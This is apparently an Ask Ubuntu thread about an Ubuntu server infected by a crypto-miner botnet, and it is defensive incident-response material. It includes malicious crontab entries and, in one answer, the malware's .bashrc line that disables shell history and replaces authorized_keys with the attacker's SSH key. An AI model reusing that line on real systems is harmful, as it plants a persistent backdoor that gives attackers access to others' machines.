29

I keep getting weir cron jobs showing up and I have no clue what they do. I typically issue kill -9 to stop them. They take up 100% of my CPU and can run for days until I check. Does anyone know what this means?

sudo crontab -l
0 0 */3 * * /root/.firefoxcatche/a/upd>/dev/null 2>&1
@reboot /root/.firefoxcatche/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.firefoxcatche/b/sync>/dev/null 2>&1
@reboot /root/.firefoxcatche/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.X13-unix/.rsync/c/aptitude>/dev/null 2>&1

I am running Ubuntu 18 LTS server fully up-to-date as of yesterday 7/24/2019

UPDATE

I appreciate all the feedback. I have disconnected all data and application drives since the only thing that was affected was the OS drive, I at least did that sort of thing properly. I am going with a complete rebuild, with a lot more security and more secure methods.

12
  • 8
    .firefoxcatche probably doesn't have anything to do with firefox – could this just be a bitcoin miner? Try uploading the executables to virustotal. Jul 25 '19 at 15:09
  • 1
    The files run by that crontab are /root/.firefoxcatche/a/upd and /root/.firefoxcatche/b/sync Jul 25 '19 at 15:12
  • 2
    "I can't find the crontab to hash it out " what does that mean? why would sudo crontab -e to edit not work? But if this is a cryptominer you did not install... those will be re-added. 1st look in "/root/.firefoxcatche/a/upd" what it does.
    – Rinzwind
    Jul 25 '19 at 15:14
  • 2
    "Do I have to log in as root to get there? " This is a question I do not expect to see from a administrator. You really need to know what you are doing from now on. Change the admin password ASAP. Inspect the files listed in cron. Eradicate them.
    – Rinzwind
    Jul 25 '19 at 15:23
  • 1
    but it is that simple ;-) I maintain 10+ google cloud instances. With a contingency plan on anything I could imagine going wrong. If anything like this would happen I would destroy the root instance, create a new one, scan the data disk against a clone, scan the differences and then attach it to the instance. and the implement something to trap this person to prevent it happening again. In my case my paycheck depends on it ;-)
    – Rinzwind
    Jul 25 '19 at 16:56
46

Your machine most likely has a crypto miner infection. You can see someone else reporting similar filenames and behaviour at Real-life detection of a virtual machine in Azure with Security Center. See also My Ubuntu Server has a virus... I've located it but I can't get rid of it... on Reddit.

You can no longer trust that machine, and should re-install it. Be careful with restoring backups.

1
  • 8
    I agree. root password got compromised so re-install and be very careful with the backup; it could also be on there.
    – Rinzwind
    Jul 25 '19 at 15:21
10

Your machine has been infected with a crypto miner attack. I also faced a similar ransomware attack in the past and my database was compromised. I took a SQL dump for the machine and reprovisioned the machine (as my machine was a VM hosted on AWS EC2). I also modified the security groups of the machine to lock down SSH access and modified passwords. I also enabled logging to log queries and export it to S3 every night.

9

The same happened to me, and I noticed yesterday. I checked the file /var/log/syslog and this IP (185.234.218.40) appeared to be automatically executing cronjobs.

I checked it on http://whatismyipaddress.com ( https://whatismyipaddress.com/ip/185.234.218.40 ) and it has some reports. These files were edited by the trojan:

  • .bashrc
  • .ssh/authorized_keys

I found this at the end of .bashrc (which is executed each time bash is opened):

set +o history
export PATH=/home/user/.bin:$PATH
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~

It is deleting your authorized_keys file, which is a list of SSH keys which are allowed to connect without a password. Then, it adds the attacker's SSH key:

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

Furthermore, I found this folder: /tmp/.X13-unix/.rsync, where all the malware is. I even found a file, /tmp/.X13-unix/.rsync/c/ip, a file containing 70 000 IP addresses, which most likely are other victims or node servers.

There are 2 solutions: A:

  • Add a firewall blocking all outgoing connections except port 22 and others that you find necessary and enable fail2ban, a program which bans an IP address after X failed password attempts

  • Kill all cron jobs: ps aux | grep cron, then kill the PID that shows up

  • Change your password to a secure one

B:

  • Back up any files or folders that you need or want

  • Reset the server and reinstall Ubuntu, or directly create a new droplet

    Like Thom Wiggers said, you are certainly part of a bitcoin mining botnet, and your server has a backdoor. The backdoor employs a perl exploit, a file located here: /tmp/.X13-unix/.rsync/b/run, containing this (https://pastebin.com/ceP2jsUy)

The most suspicious folders I found were:

  • /tmp/.X13-unix/.rsync

  • ~/.bashrc ( which was edited )

  • ~/.firefoxcatche

Finally, there is an article relating to the Perl Backdoor here: https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/

I hope you find this useful.

3
  • I wiped the os drive and reinstalled Ubuntu created a new password that is rather long and new ssh keys Jul 30 '19 at 12:47
  • Yes, that's a good solution :)
    – Oqhax
    Jul 30 '19 at 13:05
  • 1
    This was a very helpful answer - thank you for catching the fact that ~/.bashrc had been edited. I found that to kill the bogus rsync I had to issue kill -9 <pid>.
    – Benny Hill
    Aug 5 '19 at 4:19
2

The same thing happened to me yesterday. The PC fans started unexpectedly and I found a command named ./kswapd0 consuming 60% of CPU resources. The process belonged to a temporary normal user and had nothing to do with swapping; it could be malware. My initial steps were:

  • Search the Internet for the command line "./kswapd0"
    • Found many answers suggesting turning off swap
    • Not applicable since this system did not use swap
  • Kill the offending process
  • Change the user's password
  • Quarantine all the files owned by the affected user, by moving them into a new directory and troubleshoot
    • Check other files created by the temporary user since the infection
    • Continue checking the filesystem for all files created since then
  • Remove the affected user: sudo userdel testuser
    • Observe failure with message userdel: user testuser is currently used by process <pid>
    • List the process's details: ps -l <pid>
      • Observe command line in result: /lib/systemd/systemd --user
    • List systemd units related to the affected user: sudo systemctl | grep testuser
      • Observe printout with session name: session-<sn>.scope
    • Check status of session: sudo systemctl status session-<sn>.scope
      • Observe child process named rsync
    • Stop all processes running under the affected user: sudo killall -u testuser
    • Stop session opened for the affected user: sudo systemctl stop session-<sn>.scope
      • Observe successful closing of session of testuser
    • Reattempt to remove the user: sudo userdel testuser
      • Observe successful removal of testuser

It was the obnoxious comment word in the implanted ssh authorized key, that led me to the very helpful answer https://askubuntu.com/a/1162138/848863 above. I also find all the files and directories mentioned there except the ".*catche"; thanks for confirming. A swearword and a misspelling are enough to tell it was up to no good.

The breach happened through guessing of a poorly-chosen weak password for internal testing and was unexpected.

Luckily, the damage appears to be limited to the footprint of the temporary test user. I have not noticed any clearing of system logs or files, but will keep watching.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.